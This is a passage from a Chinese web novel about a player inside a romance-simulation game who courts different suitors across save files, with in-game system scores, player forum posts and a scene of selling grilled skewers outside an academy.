截然不同的盛夏气候,轻薄的装扮令你稍微不习惯,抚按胸口上的衣领。 赵晞原本没看,被你动作吸引过去,目光在你露在外面的脖颈停留,回过神来立刻移开目光。 “殿下,林府中名叫《侠客》的话本,是你的书吗?” “……《侠客》?” 赵晞好奇:“你为何知道是我的书?” “真的是吗?” “嗯,是太傅之前从我这强行收走的书。” “所以你想做侠客?” 他有些尴尬,用不悦掩饰:“问这个做什么?你不喜欢林彧,反对我感兴趣了?” 不必回答,读档,回主档。 “小姐心里在想着谁?” “……什么?” “心不在焉的,读话本时就是了。” “想了一些之后的正事。” “小姐的正事是什么?我帮得上忙吗?” “帮不上。” “哦。” 本想亲亲你,但黑猫突然蹦上床榻,踩着他的背窝进床榻里侧。 他的心思就跑到小猫身上,“喵喵”跟着猫玩到一起。 第二天,卫棠换上一身紧袖的衣裳随你练武打基础。 在个人线之外,没有出人头地的压力,他并不迫切穿回男装。 他还要靠这种反差勾搭你呢。 平时笨些,软些,榻上强势些,稍微欺负你一些。 你就吃这套。 但学武他还是认真的。 认真做事能得来你的侧目,他也的确需要学习在关键时刻不拖累你的武招。 不能保护你,至少不要被你保护。要是累到你怎么办,要是你觉得他没用怎么办? 他认真扎马步,这点苦和练舞比不算什么。 你坐一旁督促,练到了时间帮他揉揉发酸的腿和手臂。 林彧来时见到的就是这样的情景。 你一直没再找过他。 他每天都在那间琴室等你。 等不到,就想着还可以亲自来找。 每次碰到你的事,他都觉得自己是个蠢货。 他不敢回忆那天。 那天他矫揉造作,伤春悲秋。每次回想起来都想用琴弦把自己勒死。 但又控制不住回想。 什么叫“不能确定心意”? 他确定得很。 你不喜欢他,怎会孤身一人来林府找他,还咬他的鼻子,眼睛盯他嘴唇好久。 那么淡漠的性子,却愿意说温柔的话给他听。你说懂他,许诺以后帮他达成心愿,都是真的,你没说谎过。 是他感觉错了。 你只是若即若离,喜欢看他倒霉,纯粹的坏心眼罢了。 怎么可能不喜欢他。 古来多例年龄差的夫妻。老夫少妻,老妻少夫都有……他还没到而立,算什么老。 再说师徒之名,只要他有心便能传成美谈。因他受父母恩惠,有一张好脸,风言风语对他向来柔和。 父母之命,媒妁之言,他也有办法搞定。 不理解自己之前在矫情什么,觉得恪守礼训很感人吗? 包括那些背地里暗害他的官员。 他之前觉得自己被圣上厌弃,一无所有,逃避不去面对。 但站到他们面前,看着各异的烂人,就想,算什么。 相较之下,你身边那个男不男女不女的贱人更难对付。 第92章 “沈景蕊, 他是谁?” 客室内,同样的剧目,换了个稍微暖和些的天气, 再次在初冬的某日上演。 进入第二关后, 你就有这样的感觉。不论人生轨迹多么不同, 同样的人都会在相似的地点做出相似的事,像命中注定一般。 但又会因你的选择, 再次走向不同的分支。 你旁观着那些分支,直到迈出步子,走向某个人。 卫棠低头上前, 将你挡在身后。 “许久不见林大人, 忘性真大,我是卫……” 林彧根本不拿正眼看他:“贱人, 跪下,让你说话了吗?” 他声音发紧, 却并不完全恼怒。他之前便隐约知道你身边有人。 他怎会不记得卫棠。江南来的、教沈府小姐舞技的绝世美人,被沈府夫人留在小姐身边教习服侍。 以往每回他来沈府教课,身边的随从都抢着服侍他,只为见卫姑娘一眼。 呵。 他千想万想, 也没想到会是他。倒是好计谋, 留你身边, 在你最好奇男女之事的年纪授之以情,晓之以色, 就算你心中已有了他, 在情迹未明时,也难免被色诱以勾,越了底线。 他心悦你, 自然在意是谁在他之前触碰到你,亲吻到你,与你行事。 但要他因一时迷乱妒忌生恨放弃你,绝不可能。 一天和每天,他分得清。 贱人碍事,处置了便好。他今日摆这一出,就是想告诉你他容不下额外的人。你若真的喜欢他,在意他,就立刻把这个多余的奴婢赶出府去。 卫棠老实跪下,精致艳丽的五官露出哀愁。 “林大人,小声些说话,错都在我一人身上,您千万不要迁怒我们小姐,别吓到她……” 说话间,他瞥向你,眼角的泪像是晨间花瓣的露水,因美貌而赋予了香气。 即便林彧只是没什么杀伤力地骂了他几句,他也还是委屈坏了,看着楚楚可怜,被欺负得好惨。 观赏够他这边的戏码,你又抬头看林彧。 后者眼角眉梢都流露着浓郁的轻视,明显瞧不上卫棠这副假惺惺做派。 但他不清楚,这样示弱才有用。 你开口:“林师父为何要对我的人发火?” “他做的唯一错事,就是对我娘和对我忠诚。” 你朝卫棠伸手,装作看不见他眼中一闪而过的得意,拉他站直身子,低声关切。 卫棠轻声啜泣,双腿发软地靠在你身上,泪如雨下。 “小姐……” “小姐,我有错的。” “我不是说过很多次,我爱你呀……” 林彧憋了口气,起身走近,洁净冷冽的气息侵略过来,使力将卫棠从你身上扒开摔到地上。 “狐媚惑主,恶心至极!我是让你跪了几天吗?才跪下就站不直了,这般的体力,黏在你们小姐身边,也想不出有何用处!” 在你的角度,看得见卫棠因他刺耳的话眼里燃火。他平息地闭了闭,做出一副隐忍卑微的模样,眼泪汪汪看你。 “小姐,林大人便是你说过要选的夫君吗?” 你没出声,在林彧愈发催促的视线里点头。 卫棠轻道:“方才我看见他推了小姐一下,小姐肩膀痛不痛?” 林彧气恼:“我什么时候……” 或许。 或许刚刚分开你们时不小心碰到了,但他保证力量都在卫棠那边,他怎么可能推你? 你道:“我没感觉。” “呵。”林彧冷笑。 他就知道你要站在他这边,大与小,孰轻孰重,你心中自有定夺,不是卫棠用什么手段挑拨就有用处的。 卫棠咬着下唇,忍道:“可是我好痛啊……” “林大人还没过门,就敢这样对小姐的人下手,以后成了婚,不知要嚣张成什么样子……” 你道:“是哦。” 林彧慌乱:“沈景蕊!” 你再次把卫棠从地上扶起,慢悠悠查看他的伤势。并不是全装,他掌心还是在摔倒的时候擦破了些皮。 你给他吹伤口,任由他搂紧你的脖子哭。 “以后怎么办呢?要是没有小姐,我去死好了!林大人容不下我,还盼小姐念在我们这些年的主仆情分上留我一具全尸,让我跟我娘葬在一起……呜呜呜……” 你道:“一直没听你提起过,你娘葬在哪了?” 哭声暂停。 卫棠回忆:“就是城郊的一个小山坡上,我只在她入葬时跟着去过一次,之后都不敢,小姐知道的,我胆子小……” “不记得具体在哪吗?” “嗯。” “之后我跟你去找找。” “……” 他愣在那。虚假的眼泪成了圆珠,小果实般挂在睫毛上,真实的眼泪却从眼底浮上,蓄满在眼眶里。 “可以吗……” “可以。” 林彧:“……” “沈景蕊,你究竟何意?” 他也变成了将落未落的水滴,悬在空中,无处落点。 你与卫棠分开:“我和林师父说说话,你先出去,放心,不会不要你的。” “好。” 人走了,客室只剩你与林彧,安静到听得见他煎熬的呼吸声。 你又换了副面孔,仰头望他:“我就是这样的,林师父生我的气吗?” “如果林师父生气,我们……那天在琴室,就当我没去过好了。” 林彧声音隐隐颤抖:“你不是说你和我清白?去没去过,又有什么两样?” 你琢磨了下“半是明媚半是忧伤”的表情。 试着对他忧伤微笑:“我那样对你,情难自禁,算是清白吗?” “我明白你的意思,林师父,我会当作什么都没发生。” “林师父,你回去吧。” 你背过身往门口的方向走,意料之中听到脚步声,随后被他从背后抱住,藏有香气的头发柔滑刮蹭你的脸侧与耳朵。 “你明白什么?” “你一点都不明白。” “景蕊,你是不是……喜欢我?” 服软了。终于有些惹人怜爱的样子。 你抬手摸他的头:“很重要吗?我不能喜欢你。” “为何?有过先例的,宣弘年间,张大儒与女徒良缘天成,狄思十五年,庄相与妻年距二十岁……” 背书一样。 你想笑,但忍住了。 “我顾虑的不是这个。” “那你顾虑什么?” “如你所见,我与卫棠的关系。他为了我隐瞒了性别,这些年来不能开口说话。我无法抛弃他,所以最开始,我就不该喜欢你。” 你道:“我娘与我爹之间,你应该有所耳闻。卫棠留在我身边,我们做的事,我娘都知情,她不希望我把自己的心押在一个男人身上。” “他没错,错的是我。我占用他这些年,他已经失去了谋生的手段,你让我放他自生自灭,我做不到。所以林师父,你……” 林彧道:“那就带着。” 尽管他觉得卫棠的存在是沈夫人授意有些离谱。 他认为她纠正的方向错了。 既然觉得自己爱错了人,就该给女儿找个值得托付的夫君,或者干脆留女儿在身边一辈子。 坏男人是一个还是两个根本没区别,都会让人变得倒霉。 “你想带,就带着。” “若我死了,总要有人照……他那副蠢样,能照顾好你吗?” 你回身抱他:“林师父不会死。” “成婚后,我也不会再碰除你以外的其他人。不,我该问,你想娶我吗?” “你说呢?” 你盯着他的眼睛,如此定情,终于能名正言顺亲吻。 这个吻堪称端庄,浅贴一下,互相咬了咬嘴唇就分开。 他应是不会,是初吻。 但亲过嘴以后,染雪般不近人情的眼睛变得柔和。 “……” 他欲言又止。 你问:“想说什么?” “他长得不错,你能忍住不碰他吗?” “能啊,你以为我是什么?” “……不愧是我教出来的徒弟。” “你只教我弹琴,和练了几天的字。” “你学什么我没陪着?” “凑热闹而已。” “说话真难听。” “因为我是你的学生,师父。” “呵呵。” 要到午饭的时间,林彧还没名分,又不想再以师父之名自居,请辞离开。 “我会处理好一切来迎娶你。” 你点头,又叫他一下。 跑回屋里,把母亲做的那束芙蓉像生花送他。 “这是我娘让我送夫君的,你要好好留着它。” 林彧接在怀里,郑重看了片刻:“我会的。” 流程相似,内容不同。 你望着他离开。 当月,父亲休沐日。林彧携礼前来,父亲惊异,问清来由,愤怒将他赶出府外。 林彧不曾受过这种待遇,但他情愿受辱,不甘罢休。 第二次,礼品册子厚了一倍,父亲依旧震怒抛掷。 “衣冠禽兽!你以为景蕊今年多大?” 母亲道:“已及笄成年,亲上加亲的好事,你气个什么劲呢?” “敏娘,你也知道是亲上加亲,他们原本是师徒,如今结亲,他当初是抱着怎样的目的收景蕊为徒?” 林彧严肃道:“我在近一年才对景蕊有男女之情。过去清清白白,问心无愧。” 父亲根本不理。 “林大人,趁沈某说出什么难听的话之前,带着你的东西离开!” 第三次。 …… 过年了。 天上放着成片的烟花,明灭的彩光中,你望到阁楼下,府门外裹着雪白狐裘的林彧。 他今天也来了,但不被允许进府。 你托脸望他。 已然两情相悦,干脆进宫求皇后赐婚,不是简单很多?父亲那种人,为什么一定要得到他的认可? 他抬头,万家灯火染亮的年夜,在低处远望楼阁上的你,遥遥一笑。 “姐姐!” 景妍在楼下叫你。 “姐姐,放烟花啦!” “嗯。” 你要下去了。林彧见你动作,知道今晚只能见到这短暂的一面。 目送你裹着毛领披风的背影步下台阶,想着到看不见你时便离开。 但你脚步一顿,又返回阁楼上:“林师父!” “你吃了吗?” 林彧愣了下,生疏地放大声音与你对话。 “吃了!你呢?” “我也是!” 没营养的对话,但继续着。 “冷吗?” “不冷!” “明天你还来吗?” “来!”他道,“不必陪我!去玩吧!” 你和景妍、云衢放烟火。明线升空,绽开大簇的火花。 景妍一直偷偷看你,手堵着耳朵。 你道:“你想说什么?” “姐姐怎知我有话想说?” “你问云衢。” “讨厌,总说云衢。” 云衢无声陪在你们身侧,不参与你们的谈笑。 景妍道:“姐姐,喜欢一个人是什么感受?” “是想要珍惜的感受。” “男女之间呢?姐姐是怎么喜欢上林师父的?” “他相貌好。” 你转头瞧她:“笑什么?” “其他师父也是这么说的。” “他们说什么?” “说长得好看真好,能得到景蕊小姐的青睐。” 这一天,除了景妍与云衢,父亲母亲也都分别听见了你与林彧的说话声。 他们想得更深一些。 林彧每日打扮得神仙下凡一样从市井中经过。他求娶沈府小姐被拒的事,已经得到广大百姓的怜悯。 同时,他们也会想,被如此美人,用那般无法撼动的恒心追求的女子,会拥有怎样可遇不可求的品质。 他在天下人面前给你长脸,让所有人都知道你的可贵。 父亲一夜没睡。 母亲则给你收拾起嫁妆,她对林彧没什么好挑的,你喜欢,胜过一切荣华。 你与林彧之间的事被民间传成令人动容的佳话,故事里唯一可恶的存在是父亲。 早朝时皇帝没忍住调侃了句他的冷心冷肠,竟把他说哭了。满堂的官员瞠目结舌,观摩一番“爱女情深”。 皇帝大笑,当即给你与林彧赐婚。 被两边珍之重之的沈小姐终于在她十六岁这年出嫁了。 当时人只感慨沈父与林彧的对局,棋逢对手,没有任何人吃亏。闹得僵硬至此,竟然还能喜剧收场。 却没想过,王朝从这年开始改变。 你说过,对林彧想做的事很感兴趣。 先从一只老虎养起。你约见【人物档案】中军事天赋最高的人,是位女子,名叫黎清越,你的追随者。 你坦然接受高声望效果下她的崇拜,激她壮志,许她好处,让她做扶武第一人。 然后将目光放在一批“世袭”官位的米虫身上。他们不干正事,多领俸禄,以公谋私,却没有被褫夺官职的罪名。 没关系,可以从现在开始有。 你变作其中一人,宣扬废太子的种种利益好处。恶毒女配办坏事总是很顺,于是许多人被你说动,之后又将这种想法扩散得更广。 传到了皇帝耳朵里,以“谋逆”之罪将那些人下狱。由于各个沾亲带故,一时没法处死。 商议处置期间,皇帝发现没有这些人,朝廷依然正常运转,于是装作大怒但无可奈何的姿态,将那些人放出来,废除官职,以后不再录人。 那段时间里,【人物档案】中,皇帝的心情值达到新高。 边境又来战役,国库前所未有的充盈,他本想打发些钱把人送走。 但很快传来捷报,一位女将先斩后奏,已经将边境之乱平复,还把之前舍出去的州镇夺了回来。 满朝哗然。 皇帝此时惊觉,他正一点点朝着林彧构想过的改政迈步。 他无法否认改政的益处。 但不爽,很不爽。 找茬把林彧贬官,连带着皇后与太子都冷落一段时间。 林彧本就灰心,遭到贬谪愈发对朝政倦怠,专心弹琴与侍奉你。 你凭一己之力,改变了王朝的政局。 【二十五岁后,林彧被皇帝重新启用,主张轻徭薄赋。 黎清越回京,人们都知道了你对她的知遇之恩,你在背后其他行动也被联系在一处。史书为你单列一传。 但你放在夫君身上的时光,是不是太少了呢?】 任务2:【成为一名出色的恶毒女配】 【进程87/100】 【未满足通关条件】 【系统监测恋爱过程,评定积分中……】 【系统评定恋爱积分为85】 【等级为SR,未满足通关条件】 【闯关失败】 第93章 【65】到【85】, 提分【20】。 还是很值得骄傲的。 林彧线中,你实现了自我养成的价值,并打通一条被人祝福羡慕的感情线。 仍未达成通关等级, 看来是要恋爱积分达到90-100区间。 …… 【退出游戏】 你登上游戏论坛, 查找攻略。 点进第二关的关键词, 你发现在困难模式中,任务对象是被明确给出的。和第一关的玩法类似, 选项获取任务对象的好感,做任务累积恋爱指数,最后根据数值打分评级。 但人选随机, 任务对象需要在养成过程中触发得出。比如日程安排一个月【诗词】, 会在修习间隙弹出特殊事件给玩家选择,选择得当就会绑定任务对象。 如果意外绑定的任务对象是自己不喜欢的建模, 就读档回一个月的开始,错过这个人。 到十五岁之后, 养成结束,还是没绑到任务对象,就自动走基础路线,也就是被母亲嫁给表哥杜枕溪。 看到这里你有些疑惑, 你觉得官配是太子, 原来不是吗?还是普通模式与困难模式有差异? #表哥 【困难模式:不要因为喜欢表哥建模就走他的线路】 1L(楼主):否则就会跟我一样倒霉, 辛苦养成多年,过上平凡人生。 2L:求无痛养成教程 3L:还好吧, 不是能读档?喜欢毛茸茸的不要错过小表哥, 他会和动物说话,小动物缘超好,更主要的是他送来的小猫只有走他的线路活的时间最长, 我对他本人无感,但舍不得我的猫 4L:那几个名师建模都不错 男女各有各的精彩我推荐茶艺陆子元 5L:那我推荐王福海,打出他儿子阿鹏的结局,香坏了,味蕾上的hh 6L:你们都在哪找到的他们,我碰不到啊 7L:回6楼,第二关精华帖有地图指路 8L:我也舍不得我的球球(黑猫),问问3楼走杜枕溪线最后能通关吗 9L:个人觉得表哥是这关假男主,嫁他一点阻碍都没有,是妈妈的理想女婿,但恋爱指数给的低,我在论坛搜,没人在他这打出过80以上的分数。所以说宽进严出是:______ #太子 【困难模式:刷了一百遍遇到太子,上天被我感动了】 1L(楼主):数值炸弹被我刷到了,哈哈哈哈哈妈妈我终于要通关了! 2L:恭喜楼主 3L:恭喜楼主 4L:小心打出be…… 5L:救命,这个时候还有没有人在能告诉我去哪遇到太子啊,我实在通不过去,感觉在第二关停留一千年了 6L:5楼去坊市那边多逛逛,这太子脑子清奇,想做大侠。 #云 打字的手顿住。 还是自己玩一遍,看剧透就没意思了。 综上,已经印证推断。 太子是潜层官配,是被数值偏爱的隐藏角色。 就按照原定顺序把他放到最后,当做通关的保底,自由走云衢与表哥线好了。 【欢迎登入……】 【读档】 【检测玩家已顺利成年,根据养成经历,一共有五条婚姻分支,请选择你的恋爱线路】 你选择了卢云衢。 没有急着送像生花,这次你去跟母亲说你的打算。 母亲听到云衢的名字便欣然答应。 “我会去跟你爹谈这件事。” 任何长辈都不会拒绝云衢。 他身上实在有很多受欢迎的小辈属性,安静寡言,尊师重道,用功刻苦,长得也好,相貌若竹般清朗,给人一种好孩子特有的可靠感觉。 院外考生散去后,母亲便打着探望的名义,带一盘厨房新制的桂花糕去见父亲。 父亲从文书中抬头,见了她,还以为是梦。说不上多少年他们没在单独一个屋子里待过。 她盘着头,不似新嫁过来时那般温柔羞涩,将糕点放到他书案上便进入正题。 “我想把云衢收作女婿。” 她口中的女婿自然是给景蕊。 父亲失落于她来是为女儿的事。但没露出痕迹,一如平常。 “你不是看中了枕溪?” 母亲道:“是看中了,但婚事还是遵从女儿的想法。云衢也是我身边长大的孩子,知根知底,我看他对景蕊也有意,不如成全他们。” 父亲道:“可我原想把云衢留给景妍。我以为你相中的是枕溪,这两个孩子我都收作学生在身边教养,如今你将云衢选走,那景妍的婚事该作何处置?” 景妍不可能嫁给枕溪。 枕溪是她的侄子,因长辈之间的事,一直对景妍有隔阂,以礼相待,从不亲近。 “再找便是,景妍还小,来得及。” 母亲脸色已经有些难看,“若不是因为你,景蕊的婚事早就定下,不是枕溪也会是别人,如今及笄了还没婚约,多少双眼睛看你府里这些事。你却连孩子的感情都不愿成全。” “我哪不愿成全?我又没回绝你!敏娘,你就不能好好跟我说话?” “反正这亲事我定下了。孩子两情相悦,跟你我相看两厌不同,我万不能忤逆她的意愿,让她随便嫁给什么人,恶果我已经吃尽,我的女儿绝不能重蹈覆辙!” 父亲紧攥拳头,竭力忍耐波浪般的怒火。 “是,恶果。” 他召来角落里瑟瑟发抖的丫鬟:“叫云衢过来。” “是、是!” 第二天睡醒,虚拟屏幕上有红点出现。 是显示你与云衢定下婚约的提醒,林彧线也有这个文字提示。 听到你醒来的动静,卫棠从外面端着洗漱用具进来,细致地伺候你刷牙洗脸。 屋内没人,你洗漱干净以后,他便跪在地上抱你,头枕在你的胸口。 “小姐,昨夜夫人与老爷把你的婚事定下了,是云衢公子。” “嗯。”感受到他香喷喷挂在身上,你抬手回抱他。“是我自己选的,求母亲为我定下的。” “这样啊……”他的语调低下去,“云衢公子很好的,他会对小姐好,以后我给你们两个洗衣服。” 又来。 “你给我洗衣服就好,不用管他。” “我怕他赶我走。” “没人能赶走你。” “呜……” 很奇妙的事,与云衢定下婚约后,本来日日见面的人忽然见不得。 母亲道:“你们现在是未婚夫妻,本就在一府住着,私下走得太近不好。” “等云衢考了功名,你们成婚,便是日日见,年年见也没人管得着。” “中秋夜能见他吗?” 母亲顿住,点头。 你便等中秋到来。 隔了一个秋闱,之前你没怎么在意过这场考试,但云衢成了你的未婚夫以后,身边的所有人都紧张关心起来,时刻跟你汇报外面的风吹草动。 “钱家的小公子能将《论语》倒着默写呢。” “周公子考了十年,之前都考上了,但他偏要考到解元为止,这些年都一直在考,是云衢少爷的劲敌。” “也不知萧世子实力如何……” 中秋当日,父亲在官署处理突然多出来的公务,一直到傍晚才回家,召来孩子与妻子去正院吃饭。 你捧着像生花去,进门时迎面有人出来。你下意识侧身,景妍暗中拽你,你才抬头,看到从里面出去的是云衢。 他穿着浅绿衣衫,烛光中衬得相貌十分清润,目光落在你身上只稍微停顿了下,便移错开。 “姐姐,我先进去看看今晚都吃什么菜。” 景妍说了这么一句,便率先钻进屋里,和面色冷凝的父亲母亲共处一室。 于是她的脸也变得冷落起来。 想和姐姐在一起。 但她知道,从你与云衢订婚,她就彻底被排除在外了。到底是云衢笑到最后。 “你出去有事吗?” 你把怀里的像生花递给他。 他接到手里,视线落在花上,“无事,听说你要来,我便想回避。” “为何要回避?” “姐姐想见我吗?”他缓慢道,“嫁给一个不喜欢的人,心里应该很不好受。” 你道:“是我跟我娘说想嫁你的,所以我喜欢你。还没问过,你想要娶我吗?” 云衢道:“你明知我的心意。” 你:? 他抬头,“可我不知道姐姐说想嫁我是什么意思。是逗景妍姐的玩笑,还是为你心头所爱做的掩护。” “我是真心想嫁你。” 云衢依旧平静:“是吗?” 他垂首闻了闻明知是假的花。“那就好。” “是姐姐自己来接近我的。” “……” “其实我一直、一直都想得到你。” “却不知该怎么做。” “凡事都有代价。如果我勉强于你的代价是你要永远讨厌我,姐姐利用我的代价,就是永远都甩不掉我。” 你牵他的手:“若我没利用你呢?” 云衢抿紧嘴唇,眼泪顷刻之间溢出眼眶。 缓了缓,他道:“若不是利用,我便要和姐姐说明。” “我除了读书一无是处,有睡前不背书睡不着的陋习,还不会说逗姐姐开心的话。” 你想说没关系。 就又听他说,“但我也有好处,我不介意姐姐将卫棠养在身边,景妍如何挤兑我,我也都能忍受。这两人都是世上顶难对付的人,除了我,应该很少有人能挨过去。” “……嗯。” 你抬手擦他挂在睫毛上的眼泪,“以后我会对你好,我们就要是夫妻了。” 云衢神情依然镇定:“我也会对姐姐好,努力让你喜欢上我。” “不过……姐姐为什么选我?” “因为我想试试爱上你的感觉。” 第94章 云衢还在读书, 没到成婚的年纪,所以你并没有正式跟他谈恋爱。 但已经在为未来做打算。 你给他定了起床拉伸、原地跳跃、俯卧撑、深蹲等运动目标。 每天他从父亲那放学,就回到院子里做你要求的锻炼。长袖用带子系紧, 呼哧呼哧满院子倒腾。 你趴在墙头上督促他, 监督几天后发现, 就算你去晚了,有事耽搁, 他也会按你的要求把训练做完整,便索性放开,不再绕路去他那一趟。 但隔日被他等在院门前。 他抱着自己, 依靠在门柱上睡熟。像朝露化成的妖精, 面容精致,皮肤嫩得戳一戳就要破了。 你让卫棠给他围了被子, 并塞进热乎乎不至烫手的手炉,搬凳子坐他身边吃早餐。 裹了糖的糍团咬一口就像落雪。你用手接着, 一粒一粒沾到他脸上和嘴边。 卫棠戳戳你,也把脸递来,你把掉落的糖沾他唇上,与他对着眼笑。 这时云衢醒了, 纯黑的眸子先是朦胧片刻, 辨认出眼前人是你, 便不管不顾地拥抱过来。 “姐姐。” 恶作剧的、粘在他脸上的糖粒都掉回到你身上了。 你回抱他:“怎么在这里坐着?要是冻死你怎么办?” 云衢没有贪恋你的怀抱,但也没有拒绝你的好意, 将手炉与被子都裹了回去, 站起身,身量比你高了一头,但到底是脆弱的, 稚嫩的。 “天亮了我才过来等你。” “有什么事?” 他酝酿道:“……昨日贪懒,没能完成姐姐的命令。” 脑子卡住,想了想他口中的命令是什么。你奇异盯他:“所以你是内疚得睡不着吗?” 云衢垂眸:“姐姐不再多想想我的意思吗?” “姐姐不露面,我无法百日如一坚持下去,所以姐姐要像陪景妍上课那样看着我才行。” 过去的那些年,他没对你们之间的相处模式说什么,但果然还是很在意。 你道:“下次直接跟我说,何必在这挨一早冷气。” 云衢道:“可以吗?” 你点头:“可以,不止这个,你现在说什么我都会答应你,因为我们以后要做夫妻。” “……” 夫妻? 夫妻便……什么都可以吗? 他眼睫眨动,不知如何反应,甚至后退了一步。 脸上被冷风吹红的部分瞬间解冻,却又换了种红法,跟他穿的浅绿色夹袄搭起来,像春天枝头盛放的桃花。 “哦,好,我记住了。” 他望着你:“方才做梦,有小仙不停点我的脸,姐姐可有解法?” “……明知故问的解法。” 他露出微笑,俯身与你平视,冰凉的指尖碰过你的唇角,像脸上经过一片雪花。 是挂在嘴边的糖粒,透明的糖晶。 “好吃吗?” 你从卫棠手里接过食盒,递给他。 “好吃,你回去用膳。” “嗯。姐姐今日有什么安排?” “我们要搭冰屋,等你温书结束以后一起来玩。” “我们不可以总是见面。” “但你为了让我每天盯你,特地来找我。” “……是,所以这样是错的吗?” “当然不是。如果要等成亲之后才许日日见,年年见,那我们要有三四年见不到面了。” 实在很久。 云衢平静道:“既然如此,我们便天天见,时时见。已经做错了事,惩罚是注定的,不如尽可能多在一起,这样就算受惩罚也不会过于冤枉。” 你道:“哪来的歪理,我们就像以前一样相处。” 他略微纠结,颔首:“我听姐姐的。” 秋闱放榜,云衢是榜首解元,至此汴京城里结交他的人多了起来。府中三天两头有拜帖,见了父亲以后问他的义子在哪。 父亲与你和景妍说起这事,神情自豪又有些感慨。 不乏一些对他有意见,顺带牵连了云衢的,认为父亲要挟出题官透了题给自己未来女婿。 但很快谣言不攻自破,那位出题官与父亲有仇,一向瞧不起与父亲结交的人,说他受贿透题比杀了他还可气,听到有人议论这事,当场发怒跟人吵了起来。 这些好的和坏的传闻,云衢都不在意。他照例读书,因少中解元被太学收录,如今去家外面备考春闱。 林彧道:“你可以不去,不必理会他们。现在把你叫去,无非是见你有前途,往自己身上揽光贪绩,对你没什么用处。” 父亲不赞同:“他们从云衢身上沾到好处,也是往后的人情。太学的儒士都是清流官员,有他们庇护,云衢的仕途能好走很多。” 林彧冷笑:“非要人庇护才能走仕途?是缺腿还是缺脑袋?就是有这样喜欢拉拢人的官员在,结党营私,相互包庇,官场一天比一天乱,沈兄似乎不以为意。” 父亲脸色难看。 林彧的想法太过清高,他自己出身世家,姐姐是皇后,便以为人人都有他那般孤傲的意气。 大人们在一旁争吵,暗潮涌动。你和景妍在给云衢缝书包。 “这样来回带书就方便了。” 景妍吃味:“我上课的时候,姐姐怎么就没想给我缝这个呢。” 你道:“坐在家里上课,丫鬟跟着你,什么时候用过你自己背东西?” 景妍把书包往怀里抱:“那我把我的丫鬟送给云衢,这个装书的包包给我吧姐姐……” 你没有妥协。 “这个就是缝给云衢的,你想要我另外给你做。” “嘁。” 深冬,云衢背着书包去太学上学。 十一月下了几场雪,奶皮般盖住官路,吏卒清了三天才慢悠悠把车道清出来。父亲与云衢各得了三天假期,在家中偷闲。 例行盯着云衢晨练深蹲,你临时起意。 “抱着我蹲起站直,做得到吗?” 他想了想,点头。 于是你将赤狐大氅脱下,交到卫棠手里保管,搂着云衢的脖子,被他拢了腿弯抱在空中。 腾空的感觉很好,你不自觉笑。 “沉吗?” 云衢摇头,抱着你缓缓蹲下再起身。 却没撑住,连带着你一起扑进雪壳里。雪屑漏进衣领,少年竹叶清香的墨发垂在你脸侧,你对着他震惊的眼,随后在里面看到羞愧、难过、自怨的情绪。 雪在衣领里融化透了。 “对不起……” 他将手垫进你颈下,低头呼着热气:“很冷吗?是我没用,以后我会抱稳你的。” 你缩了缩脖子,推他:“先坐起来。” 抱着黑猫路过的杜枕溪:“哇……” 他捂住黑猫的眼睛,随后意识不对,把自己的眼睛捂住。 “我没看见!来找云衢的,姑父让我找云衢去书房晒墨宝,怎么不见人,应是找不见了,我们还是先回房冷静冷静。” “喵。” “……” 二月省试,云衢再度进考场。三月上旬出了成绩,中贡士。 父亲开怀,以云衢名义放粥给流民。 景妍不屑:“只会学习的呆瓜罢了。如果我姐姐去考,肯定比云衢考得更好!” 这种事还是不要比较了。 倒是能做到,但很肝。 天气暖和,你又没什么事忙,于是接云衢下学。 你在太学外面停放马车的地方坐等,瞧见他的影子,站起身跟他招手。 “云衢真好命,还没成婚就有未婚妻来接。” “别说了,我成了婚的,有时回家连口热乎饭都吃不上,还要丫鬟另热。” “云衢,明日老师考的试文你有底吗?教教我你是怎么写的……” 他们的谈话你都听到了。 等围着云衢的那些人走近,你友好问:“很饿吗?” 几人一愣,没想到你会跟他们搭话,都有些手足无措。 有一位开朗些的人接话:“饿啊,沈小姐可是给云衢带了什么吃的,不知我们有福享受无?” 你道:“我没带。” “哦…呃,没带就……没带。” “如果现在有人卖吃的,你们会买吗?” “……会吧?” 你在心里跟他道谢,转头拉着云衢上马车。 你打算在太学门口摆路边摊玩。 “姐姐是想在学宫卖食行商?” “没。” 是的,你打算这样做。 他是怎么猜出来的? 你准备变个令人信任的面孔来卖小吃。但要卖什么? 这时常见的糕点不行,那些官宦子弟家中会有更好的,且吃惯了不会有想买的冲动。 用现实中的食物太过新颖,他们应该也没有尝鲜的欲望。 还是卖烤串。 炙肉都吃过,没有门槛,又在变熟时散发出食肉动物无法抗拒的香味,是路边摊首选。 厨艺满值,你可以做出满分的炙肉。但你打算口味改良一下,研究出孜然和辣椒。 第二关日常菜式虽比第一关丰富,但常用的调料依然是葱、姜、蒜、花椒、胡椒。 没有种子要怎么种出这两种植物……你有一个不算办法的办法。 用道具把自己变成种子,然后栽到土里,种出这两种植物。 但是成熟需要四十多天,那时候云衢考完殿试,很可能就从太学毕业了。 “……” 还有一个更速成的注意。 不知可不可行,但你存档一试。 ——你把自己变成了一缸烧烤干料。 稍微倾斜…… 不行,有种人要散架的恐惧感。 你最终放弃了改良,选择用已有配料制作炙肉,穿成小串,在太学门口售卖。 道具变身后,你是一位相貌中庸、衣着一丝不苟的老妇人。烤炉前放了牌子,一串肉十文钱。 到了太学放学的时间,第一批烤串已经烤熟,散发着抓人的香味。 “烤串,卖烤串!” 说着,你自己拿起一串吃了起来。 “什么味,好香。” “那边有个老太太卖炙肉。” “她以为这是什么地方?太过放肆,找人把她赶走!” “是。” “云衢,你……” 卢云衢朝那无人问津的烤串摊位走去,拿自己的钱袋换肉。 你直接让他挑串:“你吃不要钱。” “嗯。”他没问为什么,心安理得坐你身边吃串,斯斯文文咬肉进腹,不时用帕子擦嘴。 这奇景使他身旁围着的那些人也都围了过来,几人沉默许久,也都越过心里那道坎,陪着卢云衢一起拿钱吃肉。 本来很瞧不起平民做的食物,但是吃到嘴里,就像有巴掌扇在脸上。 “这么好吃……” “我尝出了王福海的手艺!” “老太太,再来五串。” 你听到他们刚刚嫌弃你的话了,很恶意地说:“找不开零钱。” 那人也不在乎,直接把银子给了你。 算是第一天的开张。 人都走干净,云衢帮你收拾摊位,将炉子扛在身上:“要送去什么地方?” 你咳了咳:“老婆子我自己来吧。” 他没松手,“老人一般拿不动重东西,姐姐。” “……你认出我了?” “只有你会想到做这种事。” “万一有别人呢?” “我分得清别人和你。姐姐应该不知道,你和别人很不同。” 第二天,你用了广告牌:卢云衢吃过的肉串。 